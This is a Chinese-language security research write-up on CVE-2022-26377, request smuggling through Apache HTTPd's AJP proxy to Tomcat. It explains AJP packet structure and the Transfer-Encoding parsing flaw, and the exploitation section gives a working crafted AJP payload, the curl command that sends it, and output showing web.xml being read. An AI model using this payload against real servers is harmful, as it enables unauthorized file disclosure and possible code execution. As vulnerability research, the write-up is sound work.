CVE-2022-26377: Apache HTTPd AJP Request Smuggling

本文介绍了一种针对 AJP 的全新攻击方法和思路,打开在诸如 Apache HTTPd 使用 proxy_ajp 对 Tomcat AJP 进行反向代理、产品自研的 AJP 反向代理的攻击面,同时也可以尝试横向扩展至 FastCGI 等协议(当然,并没有挖到其他协议的)。

本文的灵感来源是针对 ████████████ 进行审计的过程中,发现其实现了一个名为 Secure Gateway 的网关,此网关针对连接进入的 HTTP 协议解析后转化为 AJP 协议数据包后,转发到后端的 Tomcat AJP 服务。通过深入研究,发现可以利用本文所述的攻击手法构造 AJP 数据包攻击后端服务。

1. AJP Protocol Details

自长亭科技发现 GhostCat(CVE-2020-1938)漏洞后,Tomcat 做了几个安全措施:在配置层面,默认将 8009 端口监听在 localhost,同时默认不开启 AJP 协议;在代码层面,默认拒绝通过 AJP 协议传入的一些 attributes,防止某些特殊 attributes 被利用(比如 javax.servlet.include.path_info),在配置文件中通过 allowedRequestAttributesPattern 来匹配允许设置的 attributes。

AJP 服务全称 Apache JServ Protocol,是一个类似 HTTP 的二进制协议,数据包格式较为简单。AJP 协议的 请求数据包Magic 为 0x1234,后面紧跟着 2 个字节的数据长度字段,再往后就是数据包的具体内容。如下所示:

00000000  12 34 00 98 02 02 00 08  48 54 54 50 2f 31 2e 31   .4...... HTTP/1.1
00000010  00 00 01 2f 00 00 0b 31  30 2e 32 31 31 2e 35 35   .../...1 0.211.55
00000020  2e 32 00 ff ff 00 0b 31  30 2e 32 31 31 2e 35 35   .2.....1 0.211.55
00000030  2e 33 00 00 50 00 00 03  a0 0b 00 0b 31 30 2e 32   .3..P... ....10.2
00000040  31 31 2e 35 35 2e 33 00  a0 0e 00 0b 63 75 72 6c   11.55.3. ....curl
00000050  2f 37 2e 37 37 2e 30 00  a0 01 00 03 2a 2f 2a 00   /7.77.0. ....*/*.
00000060  0a 00 0f 41 4a 50 5f 52  45 4d 4f 54 45 5f 50 4f   ...AJP_R EMOTE_PO
00000070  52 54 00 00 05 35 31 36  37 36 00 0a 00 0e 41 4a   RT...516 76....AJ
00000080  50 5f 4c 4f 43 41 4c 5f  41 44 44 52 00 00 0b 31   P_LOCAL_ ADDR...1
00000090  30 2e 32 31 31 2e 35 35  2e 33 00 ff               0.211.55 .3..

在请求数据包中,第五个字节表示的是 Code Type,AJP 协议支持包括 Forward Request(0x02)、Shutdown(0x07),Ping(0x08),CPing(0x10)几个 Code Type。需要特殊注意的是,如果没有指定 Code Type,则表示这个数据包是一个“数据”数据包,其内容只包含着请求数据。

看到这里,其实 AJP 协议的缺陷就显现得比较清楚了。AJP 的数据包并不能界定所谓“数据”数据包和“命令”数据包,所以可以导致我们在某些情况下可以针对数据包进行伪造

对于 AJP 协议的其他细节就不再进行赘述,可以参考 Apache Tomcat 的官方文档:https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html

2. Content-Type

针对包含数据的请求,如果在 HTTP 请求中存在 Content-Type 头,AJP 代理实现的方式是分为两个数据包发送。第一个数据包包含着请求头的信息,第二个数据包为“数据”数据包。

00000000  12 34 00 c4 02 04 00 08  48 54 54 50 2f 31 2e 31   .4...... HTTP/1.1
00000010  00 00 01 2f 00 00 0b 31  30 2e 32 31 31 2e 35 35   .../...1 0.211.55
00000020  2e 32 00 ff ff 00 0b 31  30 2e 32 31 31 2e 35 35   .2.....1 0.211.55
00000030  2e 33 00 00 50 00 00 05  a0 0b 00 0b 31 30 2e 32   .3..P... ....10.2
00000040  31 31 2e 35 35 2e 33 00  a0 0e 00 0b 63 75 72 6c   11.55.3. ....curl
00000050  2f 37 2e 37 37 2e 30 00  a0 01 00 03 2a 2f 2a 00   /7.77.0. ....*/*.
00000060  a0 08 00 01 36 00 a0 07  00 21 61 70 70 6c 69 63   ....6... .!applic
00000070  61 74 69 6f 6e 2f 78 2d  77 77 77 2d 66 6f 72 6d   ation/x- www-form
00000080  2d 75 72 6c 65 6e 63 6f  64 65 64 00 0a 00 0f 41   -urlenco ded....A
00000090  4a 50 5f 52 45 4d 4f 54  45 5f 50 4f 52 54 00 00   JP_REMOT E_PORT..
000000A0  05 35 32 32 30 32 00 0a  00 0e 41 4a 50 5f 4c 4f   .52202.. ..AJP_LO
000000B0  43 41 4c 5f 41 44 44 52  00 00 0b 31 30 2e 32 31   CAL_ADDR ...10.21
000000C0  31 2e 35 35 2e 33 00 ff                            1.55.3.. 

000000C8  12 34 00 08 00 06 41 42  43 44 45 46               .4....AB CDEF

可以看到,在第 0x65 字节,标识了数据长度为 6。在第二个数据包,则是一个只包含着数据长度和数据的数据包。在 Apache Tomcat 的 org/apache/catalina/connector/Request.class 中,针对数据包的处理方式如下:

protected void parseParameters() {
    // ...
    try {
        // ...
        if (!this.usingInputStream && !this.usingReader) {
            String contentType = this.getContentType();
            // 判断是否有必要进行下一步

            int len = this.getContentLength();
            if (len <= 0) {
                if ("chunked".equalsIgnoreCase(this.coyoteRequest.getHeader("transfer-encoding"))) {
                    // ...
                    formData = this.readChunkedPostBody();
                    // ...
                }
            } else {
                // ...
            }

首先会根据 Content-Type 判断是否有必要进行数据处理,接着判断 Content-Length 是否为 0,如果不为 0,则会读取缓冲区数据流中的下一个 AJP 请求数据包进行数据处理。

3. Transfer-Encoding: chunked

针对 Transfer-Encoding: chunked 的情况,AJP 代理通常不会立刻发送请求,而是等待 AJP 服务端返回 GET_BODY_CHUNK 的返回包 41 42 00 03 06 1f fa后,再接着发送。当数据发送完成时,则发送一个 12 34 02 00 00 00 的空数据包表示数据发送完成。

4. Request Smuggling

请求走私从来都不是一个服务产生的问题,而是多个服务交互中的不一致情况导致的。

  1. 发送的 Content-Length 为 0 但是转发了全部请求体的情况;
  2. 发送两个 Content-Length,其中前端代理使用第一个,而 Tomcat 使用第二个;
  3. 使用 Transfer-Encoding 传送数据,但是前端立刻向后端发送了数据;
  4. 使用 Transfer-Encoding 传送数据,但前端正常识别 chunked 而后端不能正确识别。

除了第一条暂未遇到真实情况以外,第 2、3 条在  ████████████  中可以成功攻击,第 4 条在 Apache HTTPd 的 proxy_ajp 可以成功攻击。

5. ████████████

████████████ 对于 Transfer-Encoding 处理错误,导致获取到数据后立刻向后端发送 AJP 数据包,从而导致 AJP 无法分清命令数据包和“数据”数据包,最终导致请求走私。

6. Apache HTTPd mod proxy_ajp

通过查询 Mozilla 对于 Transfer-Encoding 的语法定义,发现Transfer-Encoding 支持如下格式:

Transfer-Encoding: gzip, chunked

所以在 Apache HTTPd 中发送诸如此类格式的 Transfer-Encoding 会正常解析出 chunked 的数据段,而在 modules/proxy/mod_proxy_ajp.c 的编写方式如下:

if (tenc && (strcasecmp(tenc, "chunked") == 0)) {
    /* The AJP protocol does not want body data yet */
    ap_log_rerror(APLOG_MARK, APLOG_DEBUG, 0, r, APLOGNO(00870) "request is chunked");
} else {
    /* Get client provided Content-Length header */
    content_length = get_content_length(r);
    // ...
    status = apr_brigade_flatten(input_brigade, buff, &bufsiz);
    // ...
    if (bufsiz > 0) {
        status = ajp_send_data_msg(conn->sock, msg, bufsiz);

这会导致在此处的 if 判断进入 else 分支,并立刻发送用户可控的 POST 的数据至 AJP 服务,而非正常逻辑中等待GET_BODY_CHUNK返回包发送后才继续发送,导致请求走私。

7. Exploitation

首先观察正常发送的数据包:

00000000  12 34 00 0a 00 08 64 61  74 61 3d 31 32 33         .4....da ta=123

除去 Magic(0x1234)和消息长度(0x000a)之后,接着的是数据的长度(0x0008)和数据内容,而在正常命令数据包中:

00000000  12 34 00 d9 02 04 00 08  48 54 54 50 2f 31 2e 31   .4...... HTTP/1.1

第 5、6 字节为 Code Type 和 HTTP Method,所以如果需要构造一个 GET 请求,则需要构造数据的长度为 0x0202(516)才可以满足需求格式,可以通过填充某些 request attribute 或者请求参数来填充。在 Apache HTTPd 的 proxy_ajp 可以成功实现文件读取,结合文件上传也可以实现 RCE,具体利用方式可以参考 GhostCat 的利用方式。

$ xxd data
00000000: 0008 4854 5450 2f31 2e31 0000 012f 0000  ..HTTP/1.1.../..
00000010: 0931 3237 2e30 2e30 2e31 00ff ff00 0161  .127.0.0.1.....a
00000020: 0000 5000 0000 0a00 216a 6176 6178 2e73  ..P.....!javax.s
00000030: 6572 766c 6574 2e69 6e63 6c75 6465 2e72  ervlet.include.r
00000040: 6571 7565 7374 5f75 7269 0000 012f 000a  equest_uri.../..
00000050: 0022 6a61 7661 782e 7365 7276 6c65 742e  ."javax.servlet.
00000060: 696e 636c 7564 652e 7365 7276 6c65 745f  include.servlet_
00000070: 7061 7468 0001 532f 2f2f 2f2f 2f2f 2f2f  path..S/////////
00000080: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000090: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
000000a0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
000000b0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
000000c0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
000000d0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
000000e0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
000000f0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000100: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000110: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000120: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000130: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000140: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000150: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000160: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000170: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000180: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000190: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
000001a0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
000001b0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
000001c0: 2f2f 2f2f 2f2f 2f2f 2f2f 000a 001f 6a61  //////////....ja
000001d0: 7661 782e 7365 7276 6c65 742e 696e 636c  vax.servlet.incl
000001e0: 7564 652e 7061 7468 5f69 6e66 6f00 0010  ude.path_info...
000001f0: 2f57 4542 2d49 4e46 2f77 6562 2e78 6d6c  /WEB-INF/web.xml
00000200: 00ff

$ curl -i 10.211.55.3/proxy_ajp/ -H 'Transfer-Encoding: chunked, chunked' --data-binary @data
HTTP/1.1 200 200
Date: Wed, 02 Mar 2022 17:38:51 GMT
Server: Apache/2.4.41 (Ubuntu)
Set-Cookie: JSESSIONID=8B127C58793D6507FD24027670A3543C; Path=/; HttpOnly
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 1257
Vary: Accept-Encoding

<?xml version="1.0" encoding="UTF-8"?>
<!--
 Licensed to the Apache Software Foundation (ASF) under one or more
 ...

8. Conclusion

因为自 GhostCat(CVE-2020-1938)后,Tomcat 增加了安全措施,外部 AJP 请求无法设置一些敏感 attributes,所以实际上问题不大。